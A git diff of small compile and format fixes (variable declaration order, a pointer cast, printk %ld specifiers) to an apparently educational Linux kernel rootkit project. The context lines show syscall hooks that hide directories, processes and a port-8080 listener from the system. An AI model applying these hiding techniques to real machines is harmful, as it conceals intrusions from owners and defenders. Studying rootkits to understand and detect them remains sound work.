diff --git a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c index c6a9180..a67fdc5 100644 --- a/3_RootkitTechniques/3.4_hiding_directories/rootkit.c +++ b/3_RootkitTechniques/3.4_hiding_directories/rootkit.c @@ -40,6 +40,8 @@ struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; // int count = regs->dx; + long error; + /* We will need these intermediate structures for looping through the directory listing */ struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; unsigned long offset = 0; @@ -55,8 +57,7 @@ /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace * dirent_ker is our copy of the returned dirent struct that we can play with */ - long error; - error = copy_from_user(dirent_ker, dirent, ret); + error = copy_from_user(dirent_ker, dirent, ret); if (error) goto done; @@ -125,6 +126,8 @@ struct linux_dirent *dirent = (struct linux_dirent *)regs->si; // int count = regs->dx; + long error; + /* We will need these intermediate structures for looping through the directory listing */ struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; unsigned long offset = 0; @@ -140,8 +143,7 @@ /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace * dirent_ker is our copy of the returned dirent struct that we can play with */ - long error; - error = copy_from_user(dirent_ker, dirent, ret); + error = copy_from_user(dirent_ker, dirent, ret); if (error) goto done; diff --git a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c index c039bb6..f96066b 100644 --- a/3_RootkitTechniques/3.5_hiding_processes/rootkit.c +++ b/3_RootkitTechniques/3.5_hiding_processes/rootkit.c @@ -42,6 +42,8 @@ struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si; // int count = regs->dx; + long error; + /* We will need these intermediate structures for looping through the directory listing */ struct linux_dirent64 *current_dir, *dirent_ker, *previous_dir = NULL; unsigned long offset = 0; @@ -57,8 +59,7 @@ /* Copy the dirent argument passed to sys_getdents64 from userspace to kernelspace * dirent_ker is our copy of the returned dirent struct that we can play with */ - long error; - error = copy_from_user(dirent_ker, dirent, ret); + error = copy_from_user(dirent_ker, dirent, ret); if (error) goto done; @@ -127,6 +128,8 @@ struct linux_dirent *dirent = (struct linux_dirent *)regs->si; // int count = regs->dx; + long error; + /* We will need these intermediate structures for looping through the directory listing */ struct linux_dirent *current_dir, *dirent_ker, *previous_dir = NULL; unsigned long offset = 0; @@ -142,8 +145,7 @@ /* Copy the dirent argument passed to sys_getdents from userspace to kernelspace * dirent_ker is our copy of the returned dirent struct that we can play with */ - long error; - error = copy_from_user(dirent_ker, dirent, ret); + error = copy_from_user(dirent_ker, dirent, ret); if (error) goto done; diff --git a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c index 191f960..7fd763d 100644 --- a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c +++ b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c @@ -24,7 +24,7 @@ struct sock *sk = v; /* 0x1f90 = 8080 in hex */ - if (sk != 0x1 && sk->sk_num == 0x1f90) + if (sk != (struct sock *)0x1 && sk->sk_num == 0x1f90) { printk(KERN_DEBUG "rootkit: Found process listening on port 8080 - hiding!\n"); return 0; diff --git a/3_RootkitTechniques/3.7_char_interfering/rootkit.c b/3_RootkitTechniques/3.7_char_interfering/rootkit.c index e8f2e0b..dc377f0 100644 --- a/3_RootkitTechniques/3.7_char_interfering/rootkit.c +++ b/3_RootkitTechniques/3.7_char_interfering/rootkit.c @@ -34,7 +34,7 @@ if(error) { - printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error); + printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into kbuf\n", error); kfree(kbuf); return bytes_read; } @@ -48,7 +48,7 @@ */ error = copy_to_user(buf, kbuf, bytes_read); if (error) - printk(KERN_DEBUG "rootkit: %d bytes could not be copied into buf\n", error); + printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into buf\n", error); kfree(kbuf); return bytes_read; @@ -72,7 +72,7 @@ if(error) { - printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error); + printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into kbuf\n", error); kfree(kbuf); return bytes_read; } @@ -86,7 +86,7 @@ */ error = copy_to_user(buf, kbuf, bytes_read); if (error) - printk(KERN_DEBUG "rootkit: %d bytes could not be copied into buf\n", error); + printk(KERN_DEBUG "rootkit: %ld bytes could not be copied into buf\n", error); kfree(kbuf); return bytes_read;